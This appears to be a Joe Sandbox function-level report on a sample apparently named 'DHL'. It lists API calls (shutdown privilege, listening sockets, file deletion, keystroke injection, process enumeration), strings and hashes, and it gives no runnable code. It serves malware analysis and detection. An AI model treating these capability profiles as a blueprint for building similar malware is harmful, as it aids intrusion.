Instruction ID: 7bbde4b0aa83957e29c00f8a7c187b399fbf05783956fcee2de738ff8bcbc0d0
Opcode Fuzzy Hash: 468a676c5430f54f896d110afa3d28befd1029eca9d0af34e9e5839c81cae059
Instruction Fuzzy Hash: 31419D35604611AFD310DF65E889B5ABBE5EF44328F14C099F8199F6A2C735EC82CB90

Function 00A0E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00A016C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00A0170D
Part of subcall function 00A016C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00A0173A
Part of subcall function 00A016C3: GetLastError.KERNEL32 ref: 00A0174A

ExitWindowsEx.USER32(?,00000000), ref: 00A0E932

Strings

SeShutdownPrivilege, xrefs: 00A0E902
, xrefs: 00A0E95C
@, xrefs: 00A0E925
, xrefs: 00A0E920

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 55b0efea65f98e473eeeb8a6c2100d2c70d40ccc84a4e02963ee42c554ffc000
Instruction ID: 218293ffad4449ed264fe9eff4fc3850c0e84532ff4825f64a8d7e1748040a61
Opcode Fuzzy Hash: 55b0efea65f98e473eeeb8a6c2100d2c70d40ccc84a4e02963ee42c554ffc000
Instruction Fuzzy Hash: 0901D673A10219ABEB54A7B4BD86BBBB26CA714790F154D21FC12F21D1D5A15C40A290

Function 00A21204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00A21276
WSAGetLastError.WSOCK32 ref: 00A21283
bind.WSOCK32(00000000,?,00000010), ref: 00A212BA
WSAGetLastError.WSOCK32 ref: 00A212C5
closesocket.WSOCK32(00000000), ref: 00A212F4
listen.WSOCK32(00000000,00000005), ref: 00A21303
WSAGetLastError.WSOCK32 ref: 00A2130D
closesocket.WSOCK32(00000000), ref: 00A2133C

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 691a53cc25010a52e05b086015642f59c53885b6f3ff41f2bf97fed7397e8043
Instruction ID: dc0501c2b0dc4debc13695e115316e3d7274bb943bdbe8526ee047a71de4d50f
Opcode Fuzzy Hash: 691a53cc25010a52e05b086015642f59c53885b6f3ff41f2bf97fed7397e8043
Instruction Fuzzy Hash: 62418631600110DFD710DF68D884B69B7E6AF96328F1881A8E8569F292C771ED82CBE1

Function 009DB952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009DB9D4
_free.LIBCMT ref: 009DB9F8
_free.LIBCMT ref: 009DBB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00A43700), ref: 009DBB91
WideCharToMultiByte.KERNEL32(00000000,00000000,00A7121C,000000FF,00000000,0000003F,00000000,?,?), ref: 009DBC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00A71270,000000FF,?,0000003F,00000000,?), ref: 009DBC36
_free.LIBCMT ref: 009DBD4B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 23f9ec4e2d2a046cffdddaeaa0fd00a64c693141c67810d4b90d50fcc11a0587
Instruction ID: c8e9a5a953ff1182d2e9ea80f0c4023f2e4ffb6000b07dd59a091ced69445487
Opcode Fuzzy Hash: 23f9ec4e2d2a046cffdddaeaa0fd00a64c693141c67810d4b90d50fcc11a0587
Instruction Fuzzy Hash: A4C10571984244EBCB20DF79CC51BAABBEDEF81350F16C1ABE49497352EB309E419790

Function 00A0D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009A3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009A3A97,?,?,009A2E7F,?,?,?,00000000), ref: 009A3AC2

Part of subcall function 00A0E199: GetFileAttributesW.KERNEL32(?,00A0CF95), ref: 00A0E19A

FindFirstFileW.KERNEL32(?,?), ref: 00A0D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 00A0D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A0D481
FindClose.KERNEL32(00000000), ref: 00A0D498
FindClose.KERNEL32(00000000), ref: 00A0D4A1

Strings

\*.*, xrefs: 00A0D3F2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 2989bcfba99fa90ef33be1e20ef2c3eac9ecfd957a9ad2e7de1ab1cac4cf9fd8
Instruction ID: 4884b9690e62470670f3044a8656624e506e52c08a262e8240d14215ea9550a6
Opcode Fuzzy Hash: 2989bcfba99fa90ef33be1e20ef2c3eac9ecfd957a9ad2e7de1ab1cac4cf9fd8
Instruction Fuzzy Hash: 16315E72018355AFC304EFA4DC919AFB7A8BED2354F448A1DF4D193191EB35AA09C7A3

Function 009DE4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 009DE645

Strings

1#IND, xrefs: 009DF83D
1#QNAN, xrefs: 009DF84B
1#SNAN, xrefs: 009DF844
1#INF, xrefs: 009DF852

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 833a46afc1a833a674fb3fe7b79744326a46552fe875c9e6ca72771b1796ec79
Instruction ID: faeafb8d9c9db85a053159070b9f91752e1cd2f9687735d2917f2a25406f4365
Opcode Fuzzy Hash: 833a46afc1a833a674fb3fe7b79744326a46552fe875c9e6ca72771b1796ec79
Instruction Fuzzy Hash: 9BC24A71E446288BDB25DF28DD517EAB7B9EB84304F1485EBD44EE7240E778AE818F40

Function 00A1648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A164DC
CoInitialize.OLE32(00000000), ref: 00A16639
CoCreateInstance.OLE32(00A3FCF8,00000000,00000001,00A3FB68,?), ref: 00A16650
CoUninitialize.OLE32 ref: 00A168D4

Strings

.lnk, xrefs: 00A164BA, 00A16524, 00A165E0

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: e5e11bc3db439e49ead62dc916fc849163c53f1bc6ab86814fe715352ec9b0c2
Instruction ID: f8377a767ee706c57ffb170674d335408ca7321007b1b7cd8c18a4e5d8d7d1aa
Opcode Fuzzy Hash: e5e11bc3db439e49ead62dc916fc849163c53f1bc6ab86814fe715352ec9b0c2
Instruction Fuzzy Hash: 1CD14871508201AFC304EF24C881EABB7E9FFD9714F04896DF5958B2A1EB71E945CB92

Function 00A222DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00A222E8

Part of subcall function 00A1E4EC: GetWindowRect.USER32(?,?), ref: 00A1E504

GetDesktopWindow.USER32 ref: 00A22312
GetWindowRect.USER32(00000000), ref: 00A22319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00A22355
GetCursorPos.USER32(?), ref: 00A22381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00A223DF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 457a566bbef591bc3101b575718a1ea8c1d1250d396ef7428474047b70370f7c
Instruction ID: c1a655771fca5088e40fab2b7658492b635ac476c09d8fcf03a285595218d416
Opcode Fuzzy Hash: 457a566bbef591bc3101b575718a1ea8c1d1250d396ef7428474047b70370f7c
Instruction Fuzzy Hash: D531E372504315AFD720DF58DC45F5BB7A9FF84720F000A29F985AB191DB34E909CB92

Function 00A19B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00A19B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00A19C8B

Part of subcall function 00A13874: GetInputState.USER32 ref: 00A138CB
Part of subcall function 00A13874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A13966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00A19BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00A19C75

Strings

*.*, xrefs: 00A19B5D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 68efcb8ffbb94da7afb6a27718b93be7af136b4eafd813f87e70e1e9fda61cc3
Instruction ID: 17c82b1d698a8c1b6babb16f9bacf057dbc5861ea4011390144b3365d298b915
Opcode Fuzzy Hash: 68efcb8ffbb94da7afb6a27718b93be7af136b4eafd813f87e70e1e9fda61cc3
Instruction Fuzzy Hash: 94416F7190421AAFCF54DFA4CD55AEEBBB8FF45310F144155F845A2191EB309E84CFA1

Function 009B997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 009B9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009B9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 009B9A4E
GetSysColor.USER32(0000000F), ref: 009B9B23
SetBkColor.GDI32(?,00000000), ref: 009B9B36

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 83ae5dbd1ed6ec2f0c3f87bc743e2f9c5bb9c713fa99d4a049a705932cfec7cc
Instruction ID: adbaf59fe87cb07988e268debaf3e46b9f34fa6153e8915c663ead30d1c734c5
Opcode Fuzzy Hash: 83ae5dbd1ed6ec2f0c3f87bc743e2f9c5bb9c713fa99d4a049a705932cfec7cc
Instruction Fuzzy Hash: E3A15E70128518BEE728EA7C8E89EFB769DDF82360F154509F302C6691CA299D42C372

Function 00A21806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A2304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00A2307A
Part of subcall function 00A2304E: _wcslen.LIBCMT ref: 00A2309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00A2185D
WSAGetLastError.WSOCK32 ref: 00A21884
bind.WSOCK32(00000000,?,00000010), ref: 00A218DB
WSAGetLastError.WSOCK32 ref: 00A218E6
closesocket.WSOCK32(00000000), ref: 00A21915

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: ca2fbf771f1c1baded5cafbc2687f363d59fb687c94fe39303585846d5f83ca3
Instruction ID: 1d01f4d71343a29bb4aa95fd38a7a5e0c57611fc1106baa80d2db185597ffbe9
Opcode Fuzzy Hash: ca2fbf771f1c1baded5cafbc2687f363d59fb687c94fe39303585846d5f83ca3
Instruction Fuzzy Hash: E251C471A00210AFDB10EF64D886F6A77E5AB85718F088458F915AF3D3D771ED418BE1

Function 00A31C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00A31CC0
IsWindowEnabled.USER32 ref: 00A31CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00A31CDB
IsIconic.USER32 ref: 00A31CE9
IsZoomed.USER32 ref: 00A31CF7

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: b65cb92004c56ef8a208ff48742fc791131f9bb2e268e22da53969def47624f2
Instruction ID: e653010dc79e75153959f81ecc6a9bb409fbded4bf4a20731a52360bdaa5198f
Opcode Fuzzy Hash: b65cb92004c56ef8a208ff48742fc791131f9bb2e268e22da53969def47624f2
Instruction Fuzzy Hash: FB21AE317402109FD7208F2ACC94B6A7BE5EF85365F19A068F84A9B351DB71EC42CB90

Function 009A8060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

VUUU, xrefs: 009A83E8
VUUU, xrefs: 009A83FA
VUUU, xrefs: 009E5DF0
ERCP, xrefs: 009A813C
VUUU, xrefs: 009A843C

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: dbcc6a2a295c7cdfa71b8c08855c8e5d7ed0ebc2f5eebefc7007427ffed2ca09
Instruction ID: c66a190d6646d906982b14b7623c9a2c97bd127dbd91a04f4d5ed317fcf90783
Opcode Fuzzy Hash: dbcc6a2a295c7cdfa71b8c08855c8e5d7ed0ebc2f5eebefc7007427ffed2ca09
Instruction Fuzzy Hash: EDA2CE70E0025ACBDF25CF59C8407AEB7B5FF55314F2585AAE816AB281EB349D81CF90

Function 00A2A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00A2A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00A2A6BA

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Process32NextW.KERNEL32(00000000,?), ref: 00A2A79C
CloseHandle.KERNEL32(00000000), ref: 00A2A7AB

Part of subcall function 009BCE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,009E3303,?), ref: 009BCE8A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 7040f2b8a854eae8710b0fb78ced25b74970362d13b07655048872d4613fcb80
Instruction ID: 984adfd68e1207903e9b1e6ef50874ac1b64f5d51d5446f2b5d347689e0c83a6
Opcode Fuzzy Hash: 7040f2b8a854eae8710b0fb78ced25b74970362d13b07655048872d4613fcb80
Instruction Fuzzy Hash: F1514EB15083109FD710EF28D886A6BBBE8FFC9754F00892DF59997251EB30D905CB92

Function 00A0AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00A0AAAC
SetKeyboardState.USER32(00000080), ref: 00A0AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00A0AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00A0AB88

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 966ce58603ba5164ff5e299ce7842ef0464d18c7e96875cb2adfc651ab9565ae
Instruction ID: e59b39205540de2a4617ed65622e397f60c08be6b9f0d392f81928ecf1214bca
Opcode Fuzzy Hash: 966ce58603ba5164ff5e299ce7842ef0464d18c7e96875cb2adfc651ab9565ae
Instruction Fuzzy Hash: AD311431A4030CAEFB35CB68EC05BFA7BA6EB66320F04421AF085961D1D374CD81C762

Function 00A1CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00A1CE89
GetLastError.KERNEL32(?,00000000), ref: 00A1CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 00A1CEFE

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 11781dca09948a823baa1dbb739bdc8746be2030f94186cf8abde66b16dc37a8
Instruction ID: 6a614ed4269371a947a94d580419798845d149872f8a01e0c413ceddeb3a47c1
Opcode Fuzzy Hash: 11781dca09948a823baa1dbb739bdc8746be2030f94186cf8abde66b16dc37a8
Instruction Fuzzy Hash: 2121BAB1940305ABEB20DFA5CD48BA7B7F8EB40364F10442EE546A2191E774EE858BA4

Function 00A08298 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00A082AA

Strings

(, xrefs: 00A082F0
|, xrefs: 00A082DA

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 8abfb721bce9b8e4223eb2f5cc9722bedbd2678e1b1446416595f083b05f5edc
Instruction ID: 3e381d33d1fa40295c340a064c8a7fa32d4c469cdcf6ca318a6b6d8f9a4d97e1
Opcode Fuzzy Hash: 8abfb721bce9b8e4223eb2f5cc9722bedbd2678e1b1446416595f083b05f5edc
Instruction Fuzzy Hash: B1323675A007059FCB28CF29D481AAAB7F0FF48710B15C56EE49ADB3A1EB74E941CB44

Function 00A15C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00A15CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00A15D17
FindClose.KERNEL32(?), ref: 00A15D5F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

